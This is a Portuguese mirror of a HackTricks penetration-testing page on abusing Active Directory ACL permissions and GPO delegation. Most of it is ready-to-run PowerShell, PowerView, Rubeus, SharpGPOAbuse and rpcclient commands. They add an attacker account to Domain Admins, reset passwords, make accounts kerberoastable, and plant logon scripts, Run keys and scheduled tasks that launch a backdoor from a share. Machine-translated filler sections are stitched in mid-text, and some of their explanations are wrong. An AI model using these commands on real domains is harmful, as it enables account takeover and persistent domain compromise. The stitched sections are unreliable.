Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-21 02:23:30 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse
History
Translator a68abe83a8 Translated ['windows-hardening/active-directory-methodology/acl-persiste
2023-08-07 05:31:20 +00:00
..
README.md Translated ['1911-pentesting-fox.md', 'README.md', 'ctf-write-ups/try-ha 2023-06-07 04:37:24 +00:00
shadow-credentials.md Translated ['windows-hardening/active-directory-methodology/acl-persiste 2023-08-07 05:31:20 +00:00

README.md

Abusando de ACLs/ACEs do Active Directory

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Contexto

Este laboratório é para abusar das permissões fracas das Listas de Controle de Acesso Discricionário (DACLs) e Entradas de Controle de Acesso (ACEs) do Active Directory que compõem as DACLs.

Objetos do Active Directory, como usuários e grupos, são objetos seguráveis e as DACL/ACEs definem quem pode ler/modificar esses objetos (ou seja, alterar o nome da conta, redefinir a senha, etc).

Um exemplo de ACEs para o objeto segurável "Administradores de Domínio" pode ser visto aqui:

Algumas das permissões e tipos de objetos do Active Directory que nós, como atacantes, estamos interessados são:

  • GenericAll - direitos completos sobre o objeto (adicionar usuários a um grupo ou redefinir a senha do usuário)
  • GenericWrite - atualizar os atributos do objeto (ou seja, script de logon)
  • WriteOwner - mudar o proprietário do objeto para um usuário controlado pelo atacante e assumir o controle do objeto
  • WriteDACL - modificar as ACEs do objeto e dar ao atacante o direito de controle total sobre o objeto
  • AllExtendedRights - capacidade de adicionar usuário a um grupo ou redefinir senha
  • ForceChangePassword - capacidade de alterar a senha do usuário
  • Self (Self-Membership) - capacidade de adicionar-se a um grupo

Neste laboratório, vamos explorar e tentar explorar a maioria das ACEs acima.

Vale a pena familiarizar-se com todas as arestas do BloodHound e com o maior número possível de Direitos Estendidos do Active Directory, pois nunca se sabe quando pode encontrar um menos comum durante uma avaliação.

GenericAll em Usuário

Usando o powerview, vamos verificar se nosso usuário atacante spotless tem direitos GenericAll no objeto AD para o usuário delegate:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

Podemos ver que, de fato, nosso usuário spotless tem direitos de GenericAll, permitindo efetivamente que o invasor assuma a conta:

  • Alterar senha: Você pode simplesmente alterar a senha desse usuário com

    net user <username> <password> /domain

  • Kerberoasting direcionado: Você pode tornar o usuário kerberoastable definindo um SPN na conta, kerberoast e tentar quebrar offline:

    # Definir SPN
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
# Obter Hash
.\Rubeus.exe kerberoast /user:<username> /nowrap
# Limpar SPN
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose

# Você também pode usar a ferramenta https://github.com/ShutdownRepo/targetedKerberoast 
# para obter hashes de um ou todos os usuários
python3 targetedKerberoast.py -domain.local -u <username> -p password -v

  • ASREPRoasting direcionado: Você pode tornar o usuário ASREPRoastable desabilitando a pré-autenticação e, em seguida, ASREProast.

    Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

GenericAll em Grupo

Vamos ver se o grupo Domain admins tem permissões fracas. Primeiro, vamos obter seu distinguishedName:

Get-NetGroup "domain admins" -FullData

Abuso de Persistência de ACL

Descrição

O abuso de persistência de ACL é uma técnica de persistência que envolve a modificação de permissões de acesso em objetos do Active Directory para garantir acesso futuro. Essa técnica é particularmente útil para manter o acesso após a escalada de privilégios.

Detalhes

O Active Directory usa listas de controle de acesso (ACLs) para controlar o acesso a objetos, como usuários, grupos e computadores. As ACLs contêm entradas de permissão que especificam quais usuários e grupos têm acesso a um objeto e que tipo de acesso eles têm. As permissões podem ser modificadas por usuários com privilégios suficientes, como administradores de domínio.

O abuso de persistência de ACL envolve a modificação de permissões de acesso em objetos do Active Directory para garantir acesso futuro. Por exemplo, um invasor pode adicionar sua conta de usuário a um grupo de administradores de domínio ou conceder permissões de controle total a um objeto do Active Directory que contém informações confidenciais. Dessa forma, o invasor pode manter o acesso mesmo que suas credenciais originais sejam revogadas.

Exemplo

Um invasor com acesso de leitura em um objeto do Active Directory pode usar a ferramenta dsacls para visualizar as permissões de acesso no objeto:

dsacls.exe "CN=Domain Admins,CN=Users,DC=example,DC=com"

O invasor pode então usar a ferramenta dsadd para adicionar sua conta de usuário ao grupo de administradores de domínio:

dsadd.exe "CN=Domain Admins,CN=Users,DC=example,DC=com" -members "CN=Hacker,CN=Users,DC=example,DC=com"

O invasor agora tem acesso de administrador de domínio e pode usar outras técnicas de escalada de privilégios para obter acesso persistente.

Mitigação

Para mitigar o abuso de persistência de ACL, é importante limitar o número de usuários com privilégios suficientes para modificar as permissões de acesso em objetos do Active Directory. Além disso, é importante monitorar as alterações nas permissões de acesso e restringir o acesso a objetos que contêm informações confidenciais.

 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}

Podemos ver que nosso usuário de ataque spotless tem direitos GenericAll mais uma vez:

Efetivamente, isso nos permite adicionar a nós mesmos (o usuário spotless) ao grupo Domain Admin:

net group "domain admins" spotless /add /domain

O mesmo pode ser alcançado com o módulo Active Directory ou PowerSploit:

# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

GenericAll / GenericWrite / Write no Computador/Usuário

{% content-ref url="shadow-credentials.md" %} shadow-credentials.md {% endcontent-ref %}

WriteProperty no Grupo

Se o usuário controlado tiver o direito de WriteProperty em All objetos para o grupo Domain Admin:

Podemos adicionar a nós mesmos ao grupo Domain Admins e escalar privilégios:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

Autoassociação (Autoassociação) em Grupo

Outro privilégio que permite ao atacante adicionar-se a um grupo:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty (Autoassociação)

Mais um privilégio que permite ao atacante adicionar-se a um grupo:

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

Abuso de Persistência de ACL

Descrição

O abuso de persistência de ACL é uma técnica de persistência que envolve a modificação de permissões de acesso em objetos do Active Directory para garantir acesso futuro. Essa técnica é particularmente útil para manter o acesso após a exploração inicial do ambiente.

Detalhes

O Active Directory usa listas de controle de acesso (ACLs) para definir permissões em objetos, como usuários, grupos e computadores. As ACLs contêm uma lista de identidades de segurança e as permissões que cada identidade tem em relação ao objeto. As permissões incluem coisas como ler, gravar, modificar e excluir.

Os atacantes podem abusar da persistência de ACL modificando as permissões em objetos do Active Directory para garantir acesso futuro. Por exemplo, um atacante pode adicionar sua própria conta de usuário a um grupo de administradores de domínio ou conceder permissões de leitura/gravação em um objeto de serviço que contém senhas de usuário.

Os atacantes podem usar várias ferramentas e técnicas para abusar da persistência de ACL, incluindo:

  • Ferramentas de linha de comando, como dsacls.exe e icacls.exe
  • Ferramentas de terceiros, como BloodHound e PowerSploit
  • Scripts personalizados

Mitigação

Para mitigar o abuso de persistência de ACL, as organizações devem implementar as seguintes práticas recomendadas:

  • Monitorar as alterações de permissão em objetos do Active Directory
  • Limitar o número de usuários com permissões de administrador de domínio
  • Implementar o princípio do menor privilégio
  • Usar grupos de segurança para gerenciar permissões em objetos do Active Directory
  • Implementar a autenticação multifator para contas de usuário com permissões elevadas

Créditos

  • Harmj0y - Desenvolvedor do BloodHound e co-fundador da SpecterOps
  • PowerSploit - Coleção de scripts do PowerShell para pós-exploração e persistência
net group "domain admins" spotless /add /domain

ForceChangePassword

Se tivermos ExtendedRight no tipo de objeto User-Force-Change-Password, podemos redefinir a senha do usuário sem saber a senha atual:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Fazendo o mesmo com o powerview:

Set-DomainUserPassword -Identity delegate -Verbose

Outro método que não requer mexer com a conversão de senha segura em string:

$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

...ou um comando em uma linha, se não houver uma sessão interativa disponível:

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

E uma última maneira de realizar isso a partir do Linux:

rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

WriteOwner no Grupo

Observe que antes do ataque o proprietário do Domain Admins é Domain Admins:

Após a enumeração ACE, se descobrirmos que um usuário sob nosso controle tem direitos de WriteOwner em ObjectType:All...

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

Podemos alterar o proprietário do objeto Domain Admins para nosso usuário, que no nosso caso é spotless. Observe que o SID especificado com -Identity é o SID do grupo Domain Admins:

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

GenericWrite no Usuário

O objetivo deste método é obter persistência em um ambiente do Active Directory usando a permissão GenericWrite em um objeto de usuário. Essa permissão permite que um usuário modifique as permissões de outros usuários, incluindo a si mesmo. Isso pode ser usado para obter privilégios elevados em uma conta de usuário ou para criar uma nova conta de usuário com privilégios elevados.

Passo a passo

  1. Identifique um usuário com a permissão GenericWrite em seu objeto. Isso pode ser feito usando a ferramenta BloodHound ou por meio de engenharia reversa das permissões do usuário.
  2. Modifique as permissões do objeto do usuário para conceder a si mesmo ou a outro usuário privilégios elevados, como a adição de um usuário a um grupo de administradores do domínio.
  3. Use as novas permissões para obter acesso persistente ao ambiente do Active Directory.

Mitigação

Para mitigar esse tipo de ataque, é recomendável limitar as permissões GenericWrite em objetos de usuário a usuários confiáveis e monitorar as alterações nas permissões do usuário. Além disso, é importante limitar o número de usuários com privilégios elevados e monitorar as alterações nas permissões desses usuários.

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

WriteProperty em um ObjectType, que neste caso particular é Script-Path, permite que o invasor sobrescreva o caminho do script de logon do usuário delegate, o que significa que na próxima vez em que o usuário delegate fizer login, seu sistema executará nosso script malicioso:

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

Abaixo mostra o campo de script de logon do usuário delegate atualizado no AD:

GenericWrite no Grupo

Isso permite que você defina como membros do grupo novos usuários (você mesmo, por exemplo):

# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) 
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

WriteDACL + WriteOwner

Se você é o proprietário de um grupo, como eu sou o proprietário de um grupo AD Test:

O que você pode, é claro, fazer através do powershell:

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

Se você tem permissão WriteDACL nesse objeto AD:

...você pode se dar privilégios GenericAll com um pouco de feitiçaria ADSI:

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

O que significa que agora você tem controle total sobre o objeto AD:

Isso efetivamente significa que agora você pode adicionar novos usuários ao grupo.

Interessante notar que eu não pude abusar desses privilégios usando o módulo Active Directory e os cmdlets Set-Acl / Get-Acl:

$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl

Replicação no domínio (DCSync)

A permissão DCSync implica ter essas permissões sobre o próprio domínio: DS-Replication-Get-Changes, Replicating Directory Changes All e Replicating Directory Changes In Filtered Set.
Saiba mais sobre o ataque DCSync aqui.

Delegação de GPO

Às vezes, certos usuários/grupos podem ser delegados para gerenciar objetos de política de grupo, como é o caso do usuário offense\spotless:

Podemos ver isso usando o PowerView assim:

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

O abaixo indica que o usuário offense\spotless tem privilégios de WriteProperty, WriteDacl, WriteOwner entre outros que são propícios para abuso:

Enumerar Permissões de GPO

Sabemos que o ObjectDN acima da captura de tela acima se refere ao GPO New Group Policy Object, já que o ObjectDN aponta para CN=Policies e também para CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}, que é o mesmo nas configurações do GPO, como destacado abaixo:

Se quisermos procurar especificamente por GPOs mal configurados, podemos encadear vários cmdlets do PowerSploit da seguinte maneira:

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Computadores com uma Política Aplicada Específica

Agora podemos resolver os nomes dos computadores em que a GPO Política Mal Configurada é aplicada:

Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

Políticas Aplicadas a um Computador Específico

Este método pode ser usado para identificar as políticas aplicadas a um computador específico. Isso pode ser útil para identificar quais políticas estão sendo aplicadas a um controlador de domínio ou a um servidor de arquivos. Para fazer isso, você pode usar o seguinte comando:

gpresult /h report.html

Este comando irá gerar um relatório HTML que contém informações sobre as políticas aplicadas ao computador. Você pode abrir o relatório em um navegador da web para visualizar as informações. O relatório incluirá informações sobre as políticas de computador e usuário aplicadas, bem como informações sobre as configurações de segurança aplicadas ao computador.

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

OUs com uma política aplicada

Esta seção descreve como encontrar OUs que têm uma política específica aplicada. Isso pode ser útil para encontrar OUs que possam ser alvos de abuso de persistência de ACL. Para fazer isso, você pode usar o cmdlet Get-GPOReport para gerar um relatório HTML de todas as políticas de grupo aplicadas e, em seguida, pesquisar o relatório para a política específica que você está procurando. Aqui está um exemplo:

Get-GPOReport -All -ReportType HTML -Path AllGPOs.html

Este comando gera um relatório HTML de todas as políticas de grupo aplicadas e as salva em um arquivo chamado AllGPOs.html. Em seguida, você pode pesquisar o arquivo HTML para a política específica que você está procurando. Por exemplo, se você estiver procurando por uma política chamada "Política de Segurança", poderá pesquisar o arquivo HTML usando o seguinte comando:

Select-String -Path AllGPOs.html -Pattern "Política de Segurança"

Este comando pesquisa o arquivo HTML AllGPOs.html para a string "Política de Segurança" e retorna todas as linhas que contêm essa string. Se houver uma linha que corresponda à política que você está procurando, ela mostrará o nome da política e o caminho da OU em que ela está aplicada.

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

Abuso do GPO - New-GPOImmediateTask

Uma das maneiras de abusar dessa má configuração e obter a execução de código é criar uma tarefa agendada imediata por meio do GPO, como mostrado abaixo:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

O código acima adicionará nosso usuário "spotless" ao grupo local administrators do computador comprometido. Observe que, antes da execução do código, o grupo não contém o usuário spotless:

Módulo GroupPolicy - Abuso de GPO

{% hint style="info" %} Você pode verificar se o módulo GroupPolicy está instalado com Get-Module -List -Name GroupPolicy | select -expand ExportedCommands. Em caso de necessidade, você pode instalá-lo com Install-WindowsFeature –Name GPMC como administrador local. {% endhint %}

# Create new GPO and link it with the OU Workstrations
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
# Make the computers inside Workstrations create a new reg key that will execute a backdoor
## Search a shared folder where you can write and all the computers affected can read
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

Este payload, após a atualização do GPO, também precisará que alguém faça login no computador.

SharpGPOAbuse - Abuso de GPO

{% hint style="info" %} Não pode criar GPOs, portanto, ainda precisamos fazer isso com RSAT ou modificar um ao qual já temos acesso de gravação. {% endhint %}

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

Forçar Atualização de Política

As atualizações abusivas anteriores do GPO são recarregadas aproximadamente a cada 90 minutos.
Se você tiver acesso ao computador, pode forçá-lo com gpupdate /force.

Sob o capô

Se observarmos as Tarefas Agendadas do GPO Misconfigured Policy, podemos ver nossa evilTask sentada lá:

Abaixo está o arquivo XML que foi criado por New-GPOImmediateTask que representa nossa tarefa agendada maliciosa no GPO:

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
        <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
            <Task version="1.3">
                <RegistrationInfo>
                    <Author>NT AUTHORITY\System</Author>
                    <Description></Description>
                </RegistrationInfo>
                <Principals>
                    <Principal id="Author">
                        <UserId>NT AUTHORITY\System</UserId>
                        <RunLevel>HighestAvailable</RunLevel>
                        <LogonType>S4U</LogonType>
                    </Principal>
                </Principals>
                <Settings>
                    <IdleSettings>
                        <Duration>PT10M</Duration>
                        <WaitTimeout>PT1H</WaitTimeout>
                        <StopOnIdleEnd>true</StopOnIdleEnd>
                        <RestartOnIdle>false</RestartOnIdle>
                    </IdleSettings>
                    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
                    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
                    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
                    <AllowHardTerminate>false</AllowHardTerminate>
                    <StartWhenAvailable>true</StartWhenAvailable>
                    <AllowStartOnDemand>false</AllowStartOnDemand>
                    <Enabled>true</Enabled>
                    <Hidden>true</Hidden>
                    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
                    <Priority>7</Priority>
                    <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
                    <RestartOnFailure>
                        <Interval>PT15M</Interval>
                        <Count>3</Count>
                    </RestartOnFailure>
                </Settings>
                <Actions Context="Author">
                    <Exec>
                        <Command>cmd</Command>
                        <Arguments>/c net localgroup administrators spotless /add</Arguments>
                    </Exec>
                </Actions>
                <Triggers>
                    <TimeTrigger>
                        <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
                        <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
                        <Enabled>true</Enabled>
                    </TimeTrigger>
                </Triggers>
            </Task>
        </Properties>
    </ImmediateTaskV2>
</ScheduledTasks>

Usuários e Grupos

A mesma escalada de privilégios pode ser alcançada abusando da funcionalidade de Usuários e Grupos do GPO. Observe no arquivo abaixo, na linha 6, onde o usuário spotless é adicionado ao grupo local administrators - podemos alterar o usuário para outra coisa, adicionar outro ou até mesmo adicionar o usuário a outro grupo/múltiplos grupos, já que podemos alterar o arquivo de configuração da política no local mostrado devido à delegação do GPO atribuída ao nosso usuário spotless:

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="spotless" action="ADD" sid="" />
            </Members>
        </Properties>
    </Group>
</Groups>

Além disso, poderíamos pensar em aproveitar scripts de logon/logoff, usar o registro para autoruns, instalar .msi, editar serviços e outras formas de execução de código.

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥